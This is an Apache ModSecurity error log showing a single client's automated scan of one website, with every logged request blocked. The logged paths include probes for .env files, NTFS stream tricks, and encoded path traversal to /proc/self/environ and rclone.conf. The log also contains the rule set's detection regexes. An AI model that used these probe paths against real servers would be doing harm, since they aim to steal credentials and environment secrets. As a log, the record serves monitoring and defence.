[Mon Oct 26 02:31:13.220872 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local::$DATA"] [unique_id "at7zsW71mB7d7Sol4w_LBAAAAA4"]
[Mon Oct 26 02:31:13.221717 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsW71mB7d7Sol4w_LBAAAAA4"]
[Mon Oct 26 02:31:13.905251 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:43880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production::$DATA"] [unique_id "at7zscXfkN7WrB_bUyLhPQAAABs"]
[Mon Oct 26 02:31:13.905715 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:43880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production::$DATA"] [unique_id "at7zscXfkN7WrB_bUyLhPQAAABs"]
[Mon Oct 26 02:31:13.906729 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:43880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zscXfkN7WrB_bUyLhPQAAABs"]
[Mon Oct 26 02:31:14.571153 2026] [core:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43924] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 02:31:14.608924 2026] [core:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43982] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 02:31:14.673588 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development::$DATA"] [unique_id "at7zsn9jXGqHxPWOUzy_kgAAAAM"]
[Mon Oct 26 02:31:14.673980 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development::$DATA"] [unique_id "at7zsn9jXGqHxPWOUzy_kgAAAAM"]
[Mon Oct 26 02:31:14.674703 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsn9jXGqHxPWOUzy_kgAAAAM"]
[Mon Oct 26 02:31:14.696794 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsimvL3FYV1A8W3js6gAAAA0"]
[Mon Oct 26 02:31:14.697380 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsimvL3FYV1A8W3js6gAAAA0"]
[Mon Oct 26 02:31:14.698211 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsimvL3FYV1A8W3js6gAAAA0"]
[Mon Oct 26 02:31:14.761201 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/root/.env"] [unique_id "at7zss9if2Wl_DKO7Xa_1gAAADM"]
[Mon Oct 26 02:31:14.761631 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/root/.env"] [unique_id "at7zss9if2Wl_DKO7Xa_1gAAADM"]
[Mon Oct 26 02:31:14.762363 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zss9if2Wl_DKO7Xa_1gAAADM"]
[Mon Oct 26 02:31:14.847433 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43952] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsuns9GI20tQzjLT44AAAAB0"]
[Mon Oct 26 02:31:14.847556 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsuns9GI20tQzjLT44AAAAB0"]
[Mon Oct 26 02:31:14.847866 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsuns9GI20tQzjLT44AAAAB0"]
[Mon Oct 26 02:31:14.848611 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsuns9GI20tQzjLT44AAAAB0"]
[Mon Oct 26 02:31:14.850106 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43946] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zssmcdBtWcg_eZyeaXwAAAAY"]
[Mon Oct 26 02:31:14.850509 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43946] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zssmcdBtWcg_eZyeaXwAAAAY"]
[Mon Oct 26 02:31:14.851202 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43946] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zssmcdBtWcg_eZyeaXwAAAAY"]
[Mon Oct 26 02:31:15.054932 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43980] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zsxsFUPwtLAmxgObf3AAAABo"]
[Mon Oct 26 02:31:15.055430 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zsxsFUPwtLAmxgObf3AAAABo"]
[Mon Oct 26 02:31:15.062282 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsxsFUPwtLAmxgObf3AAAABo"]
[Mon Oct 26 02:31:15.820703 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39684] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/rclone.conf"] [unique_id "at7zs271mB7d7Sol4w_LBgAAAA4"]
[Mon Oct 26 02:31:15.821065 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39684] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/rclone.conf"] [unique_id "at7zs271mB7d7Sol4w_LBgAAAA4"]
[Mon Oct 26 02:31:15.821808 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39684] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zs271mB7d7Sol4w_LBgAAAA4"]
[Mon Oct 26 02:31:15.939794 2026] [core:error] [pid 2984316:tid 2984316] [client 34.153.219.8:39708] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 02:31:15.959438 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39722] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/apps/.env"] [unique_id "at7zsz4ZhFTh4Z0ZnDXv0gAAABQ"]
[Mon Oct 26 02:31:15.959736 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/apps/.env"] [unique_id "at7zsz4ZhFTh4Z0ZnDXv0gAAABQ"]
[Mon Oct 26 02:31:15.960724 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsz4ZhFTh4Z0ZnDXv0gAAABQ"]
[Mon Oct 26 02:31:16.139792 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39686] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/client/.env"] [unique_id "at7ztEWLg2gbRhOJIF012AAAABE"]
[Mon Oct 26 02:31:16.140064 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39686] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/client/.env"] [unique_id "at7ztEWLg2gbRhOJIF012AAAABE"]
[Mon Oct 26 02:31:16.140971 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39686] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztEWLg2gbRhOJIF012AAAABE"]
[Mon Oct 26 02:31:16.405015 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39768] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7ztBsFUPwtLAmxgObf3QAAABo"]
[Mon Oct 26 02:31:16.405112 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39768] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7ztBsFUPwtLAmxgObf3QAAABo"]
[Mon Oct 26 02:31:16.405142 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39768] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7ztBsFUPwtLAmxgObf3QAAABo"]
[Mon Oct 26 02:31:16.405655 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7ztBsFUPwtLAmxgObf3QAAABo"]
